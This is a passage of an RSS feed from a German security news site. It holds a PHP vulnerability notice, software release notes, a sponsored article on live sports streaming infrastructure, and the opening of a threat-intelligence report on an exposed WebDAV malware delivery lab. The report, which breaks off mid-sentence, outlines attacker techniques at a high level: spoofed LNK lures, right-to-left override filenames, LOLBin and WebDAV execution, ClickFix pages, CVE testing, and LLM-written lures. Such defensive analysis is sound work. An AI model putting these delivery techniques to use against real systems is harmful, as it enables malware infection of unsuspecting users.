@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8564-1: PHP vulnerabilities]]></title>
<description><![CDATA[It was discovered that PHP incorrectly handled certain TLS setup failures,
resulting in a NULL pointer dereference. An attacker could possibly use
this issue to cause PHP to crash, resulting in a denial of service. This
issue only affected Ubuntu 26.04 LTS. (CVE-2026-12184)

It was discovered tha...]]></description>
<link>https://tsecurity.de/de/3681906/unix-server/usn-8564-1-php-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681906/unix-server/usn-8564-1-php-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 20:01:10 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that PHP incorrectly handled certain TLS setup failures,
resulting in a NULL pointer dereference. An attacker could possibly use
this issue to cause PHP to crash, resulting in a denial of service. This
issue only affected Ubuntu 26.04 LTS. (CVE-2026-12184)

It was discovered that PHP contained a buffer allocation flaw in the
OpenSSL extension when using the AES-WRAP-PAD algorithm. An attacker could
use this issue to cause PHP to crash, resulting in a denial of service, or
possibly execute arbitrary code. (CVE-2026-14355)]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.4]]></title>
<description><![CDATA[Core
Improvements

Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

Reduce OpenAI provider header timeouts during slow connection setup.
Respect provider-defined reasoning options instead of fallin...]]></description>
<link>https://tsecurity.de/de/3681569/downloads/v1184/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681569/downloads/v1184/</guid>
<pubDate>Mon, 20 Jul 2026 17:47:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Reduce OpenAI provider header timeouts during slow connection setup.</li>
<li>Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.</li>
<li>Restore Azure Cognitive Services endpoint support for Azure-hosted models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Sync the embedded terminal theme with the app theme.</li>
<li>Improve the review panel so open file tabs can stay aligned with the current diff view.</li>
<li>Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.</li>
<li>Improve review panel resizing and sticky controls.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Preserve command drafts in the command menu.</li>
<li>Avoid session view failures when message parent links are missing.</li>
<li>Prevent sending empty prompt text parts.</li>
<li>Restore model variant selection accessibility.</li>
<li>Show keybind tooltips on prompt input controls. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>)</li>
<li>Deduplicate repeated file entries in diff summaries.</li>
<li>Prevent recovery window handling from touching destroyed windows.</li>
</ul>
<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>:
<ul>
<li>fix(nix): relax Bun version check for desktop build (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877704946" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/36767/hovercard" href="https://github.com/anomalyco/opencode/pull/36767">#36767</a>)</li>
<li>fix(nix): restore desktop integration (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897416572" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37197" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37197/hovercard" href="https://github.com/anomalyco/opencode/pull/37197">#37197</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>:
<ul>
<li>fix(app): show keybind tooltips on prompt input controls (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924806992" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37824" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37824/hovercard" href="https://github.com/anomalyco/opencode/pull/37824">#37824</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>:
<ul>
<li>feat(opencode): use adaptive thinking effort for kimi family on anthr… (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920812833" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37696" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37696/hovercard" href="https://github.com/anomalyco/opencode/pull/37696">#37696</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Beginner’s Guide to Setting Up Claude Code for High Performance Agentic Programming]]></title>
<description><![CDATA[This article walks through the actual configuration, permissions, hooks, and command habits that separate a fresh install from a setup that holds up under real, sustained agentic work.]]></description>
<link>https://tsecurity.de/de/3681367/ai-nachrichten/a-beginners-guide-to-setting-up-claude-code-for-high-performance-agentic-programming/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681367/ai-nachrichten/a-beginners-guide-to-setting-up-claude-code-for-high-performance-agentic-programming/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This article walks through the actual configuration, permissions, hooks, and command habits that separate a fresh install from a setup that holds up under real, sustained agentic work.]]></content:encoded>
</item>
<item>
<title><![CDATA[Upgrade Your Nintendo Switch for Less With Console and Accessory Deals]]></title>
<description><![CDATA[From must-play games to useful accessories, these Prime Day discounts make it easier to complete your setup.]]></description>
<link>https://tsecurity.de/de/3681365/it-nachrichten/upgrade-your-nintendo-switch-for-less-with-console-and-accessory-deals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681365/it-nachrichten/upgrade-your-nintendo-switch-for-less-with-console-and-accessory-deals/</guid>
<pubDate>Mon, 20 Jul 2026 16:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From must-play games to useful accessories, these Prime Day discounts make it easier to complete your setup.]]></content:encoded>
</item>
<item>
<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> 